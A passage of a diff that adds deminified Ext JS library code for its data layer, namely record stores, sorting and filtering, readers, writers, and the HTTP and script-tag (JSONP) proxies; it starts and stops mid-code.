this.afterReject() + } +}, commit:function (a) { + this.dirty = false; + delete this.modified; + this.editing = false; + if (a !== true) { + this.afterCommit() + } +}, getChanges:function () { + var a = this.modified, b = {}; + for (var c in a) { + if (a.hasOwnProperty(c)) { + b[c] = this.data[c] + } + } + return b +}, hasError:function () { + return this.error !== null +}, clearError:function () { + this.error = null +}, copy:function (a) { + return new this.constructor(Ext.apply({}, this.data), a || this.id) +}, isModified:function (a) { + return !!(this.modified && this.modified.hasOwnProperty(a)) +}, isValid:function () { + return this.fields.find(function (a) { + return(a.allowBlank === false && Ext.isEmpty(this.data[a.name])) ? true : false + }, this) ? false : true +}, markDirty:function () { + this.dirty = true; + if (!this.modified) { + this.modified = {} + } + this.fields.each(function (a) { + this.modified[a.name] = this.data[a.name] + }, this) +}}; +Ext.StoreMgr = Ext.apply(new Ext.util.MixedCollection(), {register:function () { + for (var a = 0, b; (b = arguments[a]); a++) { + this.add(b) + } +}, unregister:function () { + for (var a = 0, b; (b = arguments[a]); a++) { + this.remove(this.lookup(b)) + } +}, lookup:function (e) { + if (Ext.isArray(e)) { + var b = ["field1"], d = !Ext.isArray(e[0]); + if (!d) { + for (var c = 2, a = e[0].length; c <= a; ++c) { + b.push("field" + c) + } + } + return new Ext.data.ArrayStore({fields:b, data:e, expandData:d, autoDestroy:true, autoCreated:true}) + } + return Ext.isObject(e) ? (e.events ? e : Ext.create(e, "store")) : this.get(e) +}, getKey:function (a) { + return a.storeId +}}); +Ext.data.Store = Ext.extend(Ext.util.Observable, {writer:undefined, remoteSort:false, autoDestroy:false, pruneModifiedRecords:false, lastOptions:null, autoSave:true, batch:true, restful:false, paramNames:undefined, defaultParamNames:{start:"start", limit:"limit", sort:"sort", dir:"dir"}, isDestroyed:false, hasMultiSort:false, batchKey:"_ext_batch_", constructor:function (a) { + this.data = new Ext.util.MixedCollection(false); + this.data.getKey = function (b) { + return b.id + }; + this.removed = []; + if (a && a.data) { + this.inlineData = a.data; + delete a.data + } + Ext.apply(this, a); + this.baseParams = Ext.isObject(this.baseParams) ? this.baseParams : {}; + this.paramNames = Ext.applyIf(this.paramNames || {}, this.defaultParamNames); + if ((this.url || this.api) && !this.proxy) { + this.proxy = new Ext.data.HttpProxy({url:this.url, api:this.api}) + } + if (this.restful === true && this.proxy) { + this.batch = false; + Ext.data.Api.restify(this.proxy) + } + if (this.reader) { + if (!this.recordType) { + this.recordType = this.reader.recordType + } + if (this.reader.onMetaChange) { + this.reader.onMetaChange = this.reader.onMetaChange.createSequence(this.onMetaChange, this) + } + if (this.writer) { + if (this.writer instanceof (Ext.data.DataWriter) === false) { + this.writer = this.buildWriter(this.writer) + } + this.writer.meta = this.reader.meta; + this.pruneModifiedRecords = true + } + } + if (this.recordType) { + this.fields = this.recordType.prototype.fields + } + this.modified = []; + this.addEvents("datachanged", "metachange", "add", "remove", "update", "clear", "exception", "beforeload", "load", "loadexception", "beforewrite", "write", "beforesave", "save"); + if (this.proxy) { + this.relayEvents(this.proxy, ["loadexception", "exception"]) + } + if (this.writer) { + this.on({scope:this, add:this.createRecords, remove:this.destroyRecord, update:this.updateRecord, clear:this.onClear}) + } + this.sortToggle = {}; + if (this.sortField) { + this.setDefaultSort(this.sortField, this.sortDir) + } else { + if (this.sortInfo) { + this.setDefaultSort(this.sortInfo.field, this.sortInfo.direction) + } + } + Ext.data.Store.superclass.constructor.call(this); + if (this.id) { + this.storeId = this.id; + delete this.id + } + if (this.storeId) { + Ext.StoreMgr.register(this) + } + if (this.inlineData) { + this.loadData(this.inlineData); + delete this.inlineData + } else { + if (this.autoLoad) { + this.load.defer(10, this, [typeof this.autoLoad == "object" ? this.autoLoad : undefined]) + } + } + this.batchCounter = 0; + this.batches = {} +}, buildWriter:function (b) { + var a = undefined, c = (b.format || "json").toLowerCase(); + switch (c) { + case"json": + a = Ext.data.JsonWriter; + break; + case"xml": + a = Ext.data.XmlWriter; + break; + default: + a = Ext.data.JsonWriter + } + return new a(b) +}, destroy:function () { + if (!this.isDestroyed) { + if (this.storeId) { + Ext.StoreMgr.unregister(this) + } + this.clearData(); + this.data = null; + Ext.destroy(this.proxy); + this.reader = this.writer = null; + this.purgeListeners(); + this.isDestroyed = true + } +}, add:function (c) { + var e, a, b, d; + c = [].concat(c); + if (c.length < 1) { + return + } + for (e = 0, a = c.length; e < a; e++) { + b = c[e]; + b.join(this); + if (b.dirty || b.phantom) { + this.modified.push(b) + } + } + d = this.data.length; + this.data.addAll(c); + if (this.snapshot) { + this.snapshot.addAll(c) + } + this.fireEvent("add", this, c, d) +}, addSorted:function (a) { + var b = this.findInsertIndex(a); + this.insert(b, a) +}, doUpdate:function (a) { + var b = a.id; + this.getById(b).join(null); + this.data.replace(b, a); + if (this.snapshot) { + this.snapshot.replace(b, a) + } + a.join(this); + this.fireEvent("update", this, a, Ext.data.Record.COMMIT) +}, remove:function (a) { + if (Ext.isArray(a)) { + Ext.each(a, function (c) { + this.remove(c) + }, this); + return + } + var b = this.data.indexOf(a); + if (b > -1) { + a.join(null); + this.data.removeAt(b) + } + if (this.pruneModifiedRecords) { + this.modified.remove(a) + } + if (this.snapshot) { + this.snapshot.remove(a) + } + if (b > -1) { + this.fireEvent("remove", this, a, b) + } +}, removeAt:function (a) { + this.remove(this.getAt(a)) +}, removeAll:function (b) { + var a = []; + this.each(function (c) { + a.push(c) + }); + this.clearData(); + if (this.snapshot) { + this.snapshot.clear() + } + if (this.pruneModifiedRecords) { + this.modified = [] + } + if (b !== true) { + this.fireEvent("clear", this, a) + } +}, onClear:function (b, a) { + Ext.each(a, function (d, c) { + this.destroyRecord(this, d, c) + }, this) +}, insert:function (d, c) { + var e, a, b; + c = [].concat(c); + for (e = 0, a = c.length; e < a; e++) { + b = c[e]; + this.data.insert(d + e, b); + b.join(this); + if (b.dirty || b.phantom) { + this.modified.push(b) + } + } + if (this.snapshot) { + this.snapshot.addAll(c) + } + this.fireEvent("add", this, c, d) +}, indexOf:function (a) { + return this.data.indexOf(a) +}, indexOfId:function (a) { + return this.data.indexOfKey(a) +}, getById:function (a) { + return(this.snapshot || this.data).key(a) +}, getAt:function (a) { + return this.data.itemAt(a) +}, getRange:function (b, a) { + return this.data.getRange(b, a) +}, storeOptions:function (a) { + a = Ext.apply({}, a); + delete a.callback; + delete a.scope; + this.lastOptions = a +}, clearData:function () { + this.data.each(function (a) { + a.join(null) + }); + this.data.clear() +}, load:function (b) { + b = Ext.apply({}, b); + this.storeOptions(b); + if (this.sortInfo && this.remoteSort) { + var a = this.paramNames; + b.params = Ext.apply({}, b.params); + b.params[a.sort] = this.sortInfo.field; + b.params[a.dir] = this.sortInfo.direction + } + try { + return this.execute("read", null, b) + } catch (c) { + this.handleException(c); + return false + } +}, updateRecord:function (b, a, c) { + if (c == Ext.data.Record.EDIT && this.autoSave === true && (!a.phantom || (a.phantom && a.isValid()))) { + this.save() + } +}, createRecords:function (c, b, e) { + var d = this.modified, h = b.length, a, g; + for (g = 0; g < h; g++) { + a = b[g]; + if (a.phantom && a.isValid()) { + a.markDirty(); + if (d.indexOf(a) == -1) { + d.push(a) + } + } + } + if (this.autoSave === true) { + this.save() + } +}, destroyRecord:function (b, a, c) { + if (this.modified.indexOf(a) != -1) { + this.modified.remove(a) + } + if (!a.phantom) { + this.removed.push(a); + a.lastIndex = c; + if (this.autoSave === true) { + this.save() + } + } +}, execute:function (e, a, c, b) { + if (!Ext.data.Api.isAction(e)) { + throw new Ext.data.Api.Error("execute", e) + } + c = Ext.applyIf(c || {}, {params:{}}); + if (b !== undefined) { + this.addToBatch(b) + } + var d = true; + if (e === "read") { + d = this.fireEvent("beforeload", this, c); + Ext.applyIf(c.params, this.baseParams) + } else { + if (this.writer.listful === true && this.restful !== true) { + a = (Ext.isArray(a)) ? a : [a] + } else { + if (Ext.isArray(a) && a.length == 1) { + a = a.shift() + } + } + if ((d = this.fireEvent("beforewrite", this, e, a, c)) !== false) { + this.writer.apply(c.params, this.baseParams, e, a) + } + } + if (d !== false) { + if (this.writer && this.proxy.url && !this.proxy.restful && !Ext.data.Api.hasUniqueUrl(this.proxy, e)) { + c.params.xaction = e + } + this.proxy.request(Ext.data.Api.actions[e], a, c.params, this.reader, this.createCallback(e, a, b), this, c) + } + return d +}, save:function () { + if (!this.writer) { + throw new Ext.data.Store.Error("writer-undefined") + } + var h = [], j, k, e, c = {}, d; + if (this.removed.length) { + h.push(["destroy", this.removed]) + } + var b = [].concat(this.getModifiedRecords()); + if (b.length) { + var g = []; + for (d = b.length - 1; d >= 0; d--) { + if (b[d].phantom === true) { + var a = b.splice(d, 1).shift(); + if (a.isValid()) { + g.push(a) + } + } else { + if (!b[d].isValid()) { + b.splice(d, 1) + } + } + } + if (g.length) { + h.push(["create", g]) + } + if (b.length) { + h.push(["update", b]) + } + } + j = h.length; + if (j) { + e = ++this.batchCounter; + for (d = 0; d < j; ++d) { + k = h[d]; + c[k[0]] = k[1] + } + if (this.fireEvent("beforesave", this, c) !== false) { + for (d = 0; d < j; ++d) { + k = h[d]; + this.doTransaction(k[0], k[1], e) + } + return e + } + } + return -1 +}, doTransaction:function (e, b, c) { + function g(h) { + try { + this.execute(e, h, undefined, c) + } catch (i) { + this.handleException(i) + } + } + + if (this.batch === false) { + for (var d = 0, a = b.length; d < a; d++) { + g.call(this, b[d]) + } + } else { + g.call(this, b) + } +}, addToBatch:function (c) { + var a = this.batches, d = this.batchKey + c, e = a[d]; + if (!e) { + a[d] = e = {id:c, count:0, data:{}} + } + ++e.count +}, removeFromBatch:function (d, h, g) { + var c = this.batches, e = this.batchKey + d, i = c[e], a; + if (i) { + a = i.data[h] || []; + i.data[h] = a.concat(g); + if (i.count === 1) { + g = i.data; + delete c[e]; + this.fireEvent("save", this, d, g) + } else { + --i.count + } + } +}, createCallback:function (c, a, b) { + var d = Ext.data.Api.actions; + return(c == "read") ? this.loadRecords : function (g, e, h) { + this["on" + Ext.util.Format.capitalize(c) + "Records"](h, a, [].concat(g)); + if (h === true) { + this.fireEvent("write", this, c, g, e, a) + } + this.removeFromBatch(b, c, g) + } +}, clearModified:function (a) { + if (Ext.isArray(a)) { + for (var b = a.length - 1; b >= 0; b--) { + this.modified.splice(this.modified.indexOf(a[b]), 1) + } + } else { + this.modified.splice(this.modified.indexOf(a), 1) + } +}, reMap:function (b) { + if (Ext.isArray(b)) { + for (var d = 0, a = b.length; d < a; d++) { + this.reMap(b[d]) + } + } else { + delete this.data.map[b._phid]; + this.data.map[b.id] = b; + var c = this.data.keys.indexOf(b._phid); + this.data.keys.splice(c, 1, b.id); + delete b._phid + } +}, onCreateRecords:function (d, a, b) { + if (d === true) { + try { + this.reader.realize(a, b) + } catch (c) { + this.handleException(c); + if (Ext.isArray(a)) { + this.onCreateRecords(d, a, b) + } + } + } +}, onUpdateRecords:function (d, a, b) { + if (d === true) { + try { + this.reader.update(a, b) + } catch (c) { + this.handleException(c); + if (Ext.isArray(a)) { + this.onUpdateRecords(d, a, b) + } + } + } +}, onDestroyRecords:function (e, b, d) { + b = (b instanceof Ext.data.Record) ? [b] : [].concat(b); + for (var c = 0, a = b.length; c < a; c++) { + this.removed.splice(this.removed.indexOf(b[c]), 1) + } + if (e === false) { + for (c = b.length - 1; c >= 0; c--) { + this.insert(b[c].lastIndex, b[c]) + } + } +}, handleException:function (a) { + Ext.handleError(a) +}, reload:function (a) { + this.load(Ext.applyIf(a || {}, this.lastOptions)) +}, loadRecords:function (b, l, h) { + var e, g; + if (this.isDestroyed === true) { + return + } + if (!b || h === false) { + if (h !== false) { + this.fireEvent("load", this, [], l) + } + if (l.callback) { + l.callback.call(l.scope || this, [], l, false, b) + } + return + } + var a = b.records, j = b.totalRecords || a.length; + if (!l || l.add !== true) { + if (this.pruneModifiedRecords) { + this.modified = [] + } + for (e = 0, g = a.length; e < g; e++) { + a[e].join(this) + } + if (this.snapshot) { + this.data = this.snapshot; + delete this.snapshot + } + this.clearData(); + this.data.addAll(a); + this.totalLength = j; + this.applySort(); + this.fireEvent("datachanged", this) + } else { + var k = [], d, c = 0; + for (e = 0, g = a.length; e < g; ++e) { + d = a[e]; + if (this.indexOfId(d.id) > -1) { + this.doUpdate(d) + } else { + k.push(d); + ++c + } + } + this.totalLength = Math.max(j, this.data.length + c); + this.add(k) + } + this.fireEvent("load", this, a, l); + if (l.callback) { + l.callback.call(l.scope || this, a, l, true) + } +}, loadData:function (c, a) { + var b = this.reader.readRecords(c); + this.loadRecords(b, {add:a}, true) +}, getCount:function () { + return this.data.length || 0 +}, getTotalCount:function () { + return this.totalLength || 0 +}, getSortState:function () { + return this.sortInfo +}, applySort:function () { + if ((this.sortInfo || this.multiSortInfo) && !this.remoteSort) { + this.sortData() + } +}, sortData:function () { + var a = this.hasMultiSort ? this.multiSortInfo : this.sortInfo, k = a.direction || "ASC", h = a.sorters, c = []; + if (!this.hasMultiSort) { + h = [ + {direction:k, field:a.field} + ] + } + for (var d = 0, b = h.length; d < b; d++) { + c.push(this.createSortFunction(h[d].field, h[d].direction)) + } + if (c.length == 0) { + return + } + var g = k.toUpperCase() == "DESC" ? -1 : 1; + var e = function (n, m) { + var l = c[0].call(this, n, m); + if (c.length > 1) { + for (var p = 1, o = c.length; p < o; p++) { + l = l || c[p].call(this, n, m) + } + } + return g * l + }; + this.data.sort(k, e); + if (this.snapshot && this.snapshot != this.data) { + this.snapshot.sort(k, e) + } +}, createSortFunction:function (c, b) { + b = b || "ASC"; + var a = b.toUpperCase() == "DESC" ? -1 : 1; + var d = this.fields.get(c).sortType; + return function (g, e) { + var i = d(g.data[c]), h = d(e.data[c]); + return a * (i > h ? 1 : (i < h ? -1 : 0)) + } +}, setDefaultSort:function (b, a) { + a = a ? a.toUpperCase() : "ASC"; + this.sortInfo = {field:b, direction:a}; + this.sortToggle[b] = a +}, sort:function (b, a) { + if (Ext.isArray(arguments[0])) { + return this.multiSort.call(this, b, a) + } else { + return this.singleSort(b, a) + } +}, singleSort:function (g, c) { + var e = this.fields.get(g); + if (!e) { + return false + } + var b = e.name, a = this.sortInfo || null, d = this.sortToggle ? this.sortToggle[b] : null; + if (!c) { + if (a && a.field == b) { + c = (this.sortToggle[b] || "ASC").toggle("ASC", "DESC") + } else { + c = e.sortDir + } + } + this.sortToggle[b] = c; + this.sortInfo = {field:b, direction:c}; + this.hasMultiSort = false; + if (this.remoteSort) { + if (!this.load(this.lastOptions)) { + if (d) { + this.sortToggle[b] = d + } + if (a) { + this.sortInfo = a + } + } + } else { + this.applySort(); + this.fireEvent("datachanged", this) + } + return true +}, multiSort:function (b, a) { + this.hasMultiSort = true; + a = a || "ASC"; + if (this.multiSortInfo && a == this.multiSortInfo.direction) { + a = a.toggle("ASC", "DESC") + } + this.multiSortInfo = {sorters:b, direction:a}; + if (this.remoteSort) { + this.singleSort(b[0].field, b[0].direction) + } else { + this.applySort(); + this.fireEvent("datachanged", this) + } +}, each:function (b, a) { + this.data.each(b, a) +}, getModifiedRecords:function () { + return this.modified +}, sum:function (e, g, a) { + var c = this.data.items, b = 0; + g = g || 0; + a = (a || a === 0) ? a : c.length - 1; + for (var d = g; d <= a; d++) { + b += (c[d].data[e] || 0) + } + return b +}, createFilterFn:function (d, c, e, a, b) { + if (Ext.isEmpty(c, false)) { + return false + } + c = this.data.createValueMatcher(c, e, a, b); + return function (g) { + return c.test(g.data[d]) + } +}, createMultipleFilterFn:function (a) { + return function (b) { + var k = true; + for (var d = 0, c = a.length; d < c; d++) { + var h = a[d], g = h.fn, e = h.scope; + k = k && g.call(e, b) + } + return k + } +}, filter:function (n, m, h, k, e) { + var l; + if (Ext.isObject(n)) { + n = [n] + } + if (Ext.isArray(n)) { + var b = []; + for (var g = 0, d = n.length; g < d; g++) { + var a = n[g], c = a.fn, o = a.scope || this; + if (!Ext.isFunction(c)) { + c = this.createFilterFn(a.property, a.value, a.anyMatch, a.caseSensitive, a.exactMatch) + } + b.push({fn:c, scope:o}) + } + l = this.createMultipleFilterFn(b) + } else { + l = this.createFilterFn(n, m, h, k, e) + } + return l ? this.filterBy(l) : this.clearFilter() +}, filterBy:function (b, a) { + this.snapshot = this.snapshot || this.data; + this.data = this.queryBy(b, a || this); + this.fireEvent("datachanged", this) +}, clearFilter:function (a) { + if (this.isFiltered()) { + this.data = this.snapshot; + delete this.snapshot; + if (a !== true) { + this.fireEvent("datachanged", this) + } + } +}, isFiltered:function () { + return !!this.snapshot && this.snapshot != this.data +}, query:function (d, c, e, a) { + var b = this.createFilterFn(d, c, e, a); + return b ? this.queryBy(b) : this.data.clone() +}, queryBy:function (b, a) { + var c = this.snapshot || this.data; + return c.filterBy(b, a || this) +}, find:function (d, c, g, e, a) { + var b = this.createFilterFn(d, c, e, a); + return b ? this.data.findIndexBy(b, null, g) : -1 +}, findExact:function (b, a, c) { + return this.data.findIndexBy(function (d) { + return d.get(b) === a + }, this, c) +}, findBy:function (b, a, c) { + return this.data.findIndexBy(b, a, c) +}, collect:function (j, k, b) { + var h = (b === true && this.snapshot) ? this.snapshot.items : this.data.items; + var m, n, a = [], c = {}; + for (var e = 0, g = h.length; e < g; e++) { + m = h[e].data[j]; + n = String(m); + if ((k || !Ext.isEmpty(m)) && !c[n]) { + c[n] = true; + a[a.length] = m + } + } + return a +}, afterEdit:function (a) { + if (this.modified.indexOf(a) == -1) { + this.modified.push(a) + } + this.fireEvent("update", this, a, Ext.data.Record.EDIT) +}, afterReject:function (a) { + this.modified.remove(a); + this.fireEvent("update", this, a, Ext.data.Record.REJECT) +}, afterCommit:function (a) { + this.modified.remove(a); + this.fireEvent("update", this, a, Ext.data.Record.COMMIT) +}, commitChanges:function () { + var a = this.modified.slice(0), c = a.length, b; + for (b = 0; b < c; b++) { + a[b].commit() + } + this.modified = []; + this.removed = [] +}, rejectChanges:function () { + var a = this.modified.slice(0), e = this.removed.slice(0).reverse(), c = a.length, d = e.length, b; + for (b = 0; b < c; b++) { + a[b].reject() + } + for (b = 0; b < d; b++) { + this.insert(e[b].lastIndex || 0, e[b]); + e[b].reject() + } + this.modified = []; + this.removed = [] +}, onMetaChange:function (a) { + this.recordType = this.reader.recordType; + this.fields = this.recordType.prototype.fields; + delete this.snapshot; + if (this.reader.meta.sortInfo) { + this.sortInfo = this.reader.meta.sortInfo + } else { + if (this.sortInfo && !this.fields.get(this.sortInfo.field)) { + delete this.sortInfo + } + } + if (this.writer) { + this.writer.meta = this.reader.meta + } + this.modified = []; + this.fireEvent("metachange", this, this.reader.meta) +}, findInsertIndex:function (a) { + this.suspendEvents(); + var c = this.data.clone(); + this.data.add(a); + this.applySort(); + var b = this.data.indexOf(a); + this.data = c; + this.resumeEvents(); + return b +}, setBaseParam:function (a, b) { + this.baseParams = this.baseParams || {}; + this.baseParams[a] = b +}}); +Ext.reg("store", Ext.data.Store); +Ext.data.Store.Error = Ext.extend(Ext.Error, {name:"Ext.data.Store"}); +Ext.apply(Ext.data.Store.Error.prototype, {lang:{"writer-undefined":"Attempted to execute a write-action without a DataWriter installed."}}); +Ext.data.Field = Ext.extend(Object, {constructor:function (b) { + if (Ext.isString(b)) { + b = {name:b} + } + Ext.apply(this, b); + var d = Ext.data.Types, a = this.sortType, c; + if (this.type) { + if (Ext.isString(this.type)) { + this.type = Ext.data.Types[this.type.toUpperCase()] || d.AUTO + } + } else { + this.type = d.AUTO + } + if (Ext.isString(a)) { + this.sortType = Ext.data.SortTypes[a] + } else { + if (Ext.isEmpty(a)) { + this.sortType = this.type.sortType + } + } + if (!this.convert) { + this.convert = this.type.convert + } +}, dateFormat:null, useNull:false, defaultValue:"", mapping:null, sortType:null, sortDir:"ASC", allowBlank:true}); +Ext.data.DataReader = function (a, b) { + this.meta = a; + this.recordType = Ext.isArray(b) ? Ext.data.Record.create(b) : b; + if (this.recordType) { + this.buildExtractors() + } +}; +Ext.data.DataReader.prototype = {getTotal:Ext.emptyFn, getRoot:Ext.emptyFn, getMessage:Ext.emptyFn, getSuccess:Ext.emptyFn, getId:Ext.emptyFn, buildExtractors:Ext.emptyFn, extractValues:Ext.emptyFn, realize:function (a, c) { + if (Ext.isArray(a)) { + for (var b = a.length - 1; b >= 0; b--) { + if (Ext.isArray(c)) { + this.realize(a.splice(b, 1).shift(), c.splice(b, 1).shift()) + } else { + this.realize(a.splice(b, 1).shift(), c) + } + } + } else { + if (Ext.isArray(c) && c.length == 1) { + c = c.shift() + } + if (!this.isData(c)) { + throw new Ext.data.DataReader.Error("realize", a) + } + a.phantom = false; + a._phid = a.id; + a.id = this.getId(c); + a.data = c; + a.commit(); + a.store.reMap(a) + } +}, update:function (a, c) { + if (Ext.isArray(a)) { + for (var b = a.length - 1; b >= 0; b--) { + if (Ext.isArray(c)) { + this.update(a.splice(b, 1).shift(), c.splice(b, 1).shift()) + } else { + this.update(a.splice(b, 1).shift(), c) + } + } + } else { + if (Ext.isArray(c) && c.length == 1) { + c = c.shift() + } + if (this.isData(c)) { + a.data = Ext.apply(a.data, c) + } + a.commit() + } +}, extractData:function (k, a) { + var j = (this instanceof Ext.data.JsonReader) ? "json" : "node"; + var c = []; + if (this.isData(k) && !(this instanceof Ext.data.XmlReader)) { + k = [k] + } + var h = this.recordType.prototype.fields, o = h.items, m = h.length, c = []; + if (a === true) { + var l = this.recordType; + for (var e = 0; e < k.length; e++) { + var b = k[e]; + var g = new l(this.extractValues(b, o, m), this.getId(b)); + g[j] = b; + c.push(g) + } + } else { + for (var e = 0; e < k.length; e++) { + var d = this.extractValues(k[e], o, m); + d[this.meta.idProperty] = this.getId(k[e]); + c.push(d) + } + } + return c +}, isData:function (a) { + return(a && Ext.isObject(a) && !Ext.isEmpty(this.getId(a))) ? true : false +}, onMetaChange:function (a) { + delete this.ef; + this.meta = a; + this.recordType = Ext.data.Record.create(a.fields); + this.buildExtractors() +}}; +Ext.data.DataReader.Error = Ext.extend(Ext.Error, {constructor:function (b, a) { + this.arg = a; + Ext.Error.call(this, b) +}, name:"Ext.data.DataReader"}); +Ext.apply(Ext.data.DataReader.Error.prototype, {lang:{update:"#update received invalid data from server. Please see docs for DataReader#update and review your DataReader configuration.", realize:"#realize was called with invalid remote-data. Please see the docs for DataReader#realize and review your DataReader configuration.", "invalid-response":"#readResponse received an invalid response from the server."}}); +Ext.data.DataWriter = function (a) { + Ext.apply(this, a) +}; +Ext.data.DataWriter.prototype = {writeAllFields:false, listful:false, apply:function (e, g, d, a) { + var c = [], b = d + "Record"; + if (Ext.isArray(a)) { + Ext.each(a, function (h) { + c.push(this[b](h)) + }, this) + } else { + if (a instanceof Ext.data.Record) { + c = this[b](a) + } + } + this.render(e, g, c) +}, render:Ext.emptyFn, updateRecord:Ext.emptyFn, createRecord:Ext.emptyFn, destroyRecord:Ext.emptyFn, toHash:function (g, c) { + var e = g.fields.map, d = {}, b = (this.writeAllFields === false && g.phantom === false) ? g.getChanges() : g.data, a; + Ext.iterate(b, function (i, h) { + if ((a = e[i])) { + d[a.mapping ? a.mapping : a.name] = h + } + }); + if (g.phantom) { + if (g.fields.containsKey(this.meta.idProperty) && Ext.isEmpty(g.data[this.meta.idProperty])) { + delete d[this.meta.idProperty] + } + } else { + d[this.meta.idProperty] = g.id + } + return d +}, toArray:function (b) { + var a = []; + Ext.iterate(b, function (d, c) { + a.push({name:d, value:c}) + }, this); + return a +}}; +Ext.data.DataProxy = function (a) { + a = a || {}; + this.api = a.api; + this.url = a.url; + this.restful = a.restful; + this.listeners = a.listeners; + this.prettyUrls = a.prettyUrls; + this.addEvents("exception", "beforeload", "load", "loadexception", "beforewrite", "write"); + Ext.data.DataProxy.superclass.constructor.call(this); + try { + Ext.data.Api.prepare(this) + } catch (b) { + if (b instanceof Ext.data.Api.Error) { + b.toConsole() + } + } + Ext.data.DataProxy.relayEvents(this, ["beforewrite", "write", "exception"]) +}; +Ext.extend(Ext.data.DataProxy, Ext.util.Observable, {restful:false, setApi:function () { + if (arguments.length == 1) { + var a = Ext.data.Api.isValid(arguments[0]); + if (a === true) { + this.api = arguments[0] + } else { + throw new Ext.data.Api.Error("invalid", a) + } + } else { + if (arguments.length == 2) { + if (!Ext.data.Api.isAction(arguments[0])) { + throw new Ext.data.Api.Error("invalid", arguments[0]) + } + this.api[arguments[0]] = arguments[1] + } + } + Ext.data.Api.prepare(this) +}, isApiAction:function (a) { + return(this.api[a]) ? true : false +}, request:function (e, b, g, a, h, d, c) { + if (!this.api[e] && !this.load) { + throw new Ext.data.DataProxy.Error("action-undefined", e) + } + g = g || {}; + if ((e === Ext.data.Api.actions.read) ? this.fireEvent("beforeload", this, g) : this.fireEvent("beforewrite", this, e, b, g) !== false) { + this.doRequest.apply(this, arguments) + } else { + h.call(d || this, null, c, false) + } +}, load:null, doRequest:function (e, b, g, a, h, d, c) { + this.load(g, a, h, d, c) +}, onRead:Ext.emptyFn, onWrite:Ext.emptyFn, buildUrl:function (d, b) { + b = b || null; + var c = (this.conn && this.conn.url) ? this.conn.url : (this.api[d]) ? this.api[d].url : this.url; + if (!c) { + throw new Ext.data.Api.Error("invalid-url", d) + } + var e = null; + var a = c.match(/(.*)(\.json|\.xml|\.html)$/); + if (a) { + e = a[2]; + c = a[1] + } + if ((this.restful === true || this.prettyUrls === true) && b instanceof Ext.data.Record && !b.phantom) { + c += "/" + b.id + } + return(e === null) ? c : c + e +}, destroy:function () { + this.purgeListeners() +}}); +Ext.apply(Ext.data.DataProxy, Ext.util.Observable.prototype); +Ext.util.Observable.call(Ext.data.DataProxy); +Ext.data.DataProxy.Error = Ext.extend(Ext.Error, {constructor:function (b, a) { + this.arg = a; + Ext.Error.call(this, b) +}, name:"Ext.data.DataProxy"}); +Ext.apply(Ext.data.DataProxy.Error.prototype, {lang:{"action-undefined":"DataProxy attempted to execute an API-action but found an undefined url / function. Please review your Proxy url/api-configuration.", "api-invalid":"Recieved an invalid API-configuration. Please ensure your proxy API-configuration contains only the actions from Ext.data.Api.actions."}}); +Ext.data.Request = function (a) { + Ext.apply(this, a) +}; +Ext.data.Request.prototype = {action:undefined, rs:undefined, params:undefined, callback:Ext.emptyFn, scope:undefined, reader:undefined}; +Ext.data.Response = function (a) { + Ext.apply(this, a) +}; +Ext.data.Response.prototype = {action:undefined, success:undefined, message:undefined, data:undefined, raw:undefined, records:undefined}; +Ext.data.ScriptTagProxy = function (a) { + Ext.apply(this, a); + Ext.data.ScriptTagProxy.superclass.constructor.call(this, a); + this.head = document.getElementsByTagName("head")[0] +}; +Ext.data.ScriptTagProxy.TRANS_ID = 1000; +Ext.extend(Ext.data.ScriptTagProxy, Ext.data.DataProxy, {timeout:30000, callbackParam:"callback", nocache:true, doRequest:function (e, g, d, h, j, k, l) { + var c = Ext.urlEncode(Ext.apply(d, this.extraParams)); + var b = this.buildUrl(e, g); + if (!b) { + throw new Ext.data.Api.Error("invalid-url", b) + } + b = Ext.urlAppend(b, c); + if (this.nocache) { + b = Ext.urlAppend(b, "_dc=" + (new Date().getTime())) + } + var a = ++Ext.data.ScriptTagProxy.TRANS_ID; + var m = {id:a, action:e, cb:"stcCallback" + a, scriptId:"stcScript" + a, params:d, arg:l, url:b, callback:j, scope:k, reader:h}; + window[m.cb] = this.createCallback(e, g, m); + b += String.format("&{0}={1}", this.callbackParam, m.cb); + if (this.autoAbort !== false) { + this.abort() + } + m.timeoutId = this.handleFailure.defer(this.timeout, this, [m]); + var i = document.createElement("script"); + i.setAttribute("src", b); + i.setAttribute("type", "text/javascript"); + i.setAttribute("id", m.scriptId); + this.head.appendChild(i); + this.trans = m +}, createCallback:function (d, b, c) { + var a = this; + return function (e) { + a.trans = false; + a.destroyTrans(c, true); + if (d === Ext.data.Api.actions.read) { + a.onRead.call(a, d, c, e) + } else { + a.onWrite.call(a, d, c, e, b) + } + } +}, onRead:function (d, c, b) { + var a; + try { + a = c.reader.readRecords(b) + } catch (g) { + this.fireEvent("loadexception", this, c, b, g); + this.fireEvent("exception", this, "response", d, c, b, g); + c.callback.call(c.scope || window, null, c.arg, false); + return + } + if (a.success === false) { + this.fireEvent("loadexception", this, c, b); + this.fireEvent("exception", this, "remote", d, c, b, null) + } else { + this.fireEvent("load", this, b, c.arg) + } + c.callback.call(c.scope || window, a, c.arg, a.success) +}, onWrite:function (h, g, c, b) { + var a = g.reader; + try { + var d = a.readResponse(h, c) + } catch (i) { + this.fireEvent("exception", this, "response", h, g, d, i); + g.callback.call(g.scope || window, null, d, false); + return + } + if (!d.success === true) { + this.fireEvent("exception", this, "remote", h, g, d, b); + g.callback.call(g.scope || window, null, d, false); + return + } + this.fireEvent("write", this, h, d.data, d, b, g.arg); + g.callback.call(g.scope || window, d.data, d, true) +}, isLoading:function () { + return this.trans ? true : false +}, abort:function () { + if (this.isLoading()) { + this.destroyTrans(this.trans) + } +}, destroyTrans:function (b, a) { + this.head.removeChild(document.getElementById(b.scriptId)); + clearTimeout(b.timeoutId); + if (a) { + window[b.cb] = undefined; + try { + delete window[b.cb] + } catch (c) { + } + } else { + window[b.cb] = function () { + window[b.cb] = undefined; + try { + delete window[b.cb] + } catch (d) { + } + } + } +}, handleFailure:function (a) { + this.trans = false; + this.destroyTrans(a, false); + if (a.action === Ext.data.Api.actions.read) { + this.fireEvent("loadexception", this, null, a.arg) + } + this.fireEvent("exception", this, "response", a.action, {response:null, options:a.arg}); + a.callback.call(a.scope || window, null, a.arg, false) +}, destroy:function () { + this.abort(); + Ext.data.ScriptTagProxy.superclass.destroy.call(this) +}}); +Ext.data.HttpProxy = function (a) { + Ext.data.HttpProxy.superclass.constructor.call(this, a); + this.conn = a; + this.conn.url = null; + this.useAjax = !a || !a.events; + var c = Ext.data.Api.actions; + this.activeRequest = {}; + for (var b in c) { + this.activeRequest[c[b]] = undefined + } +}; +Ext.extend(Ext.data.HttpProxy, Ext.data.DataProxy, 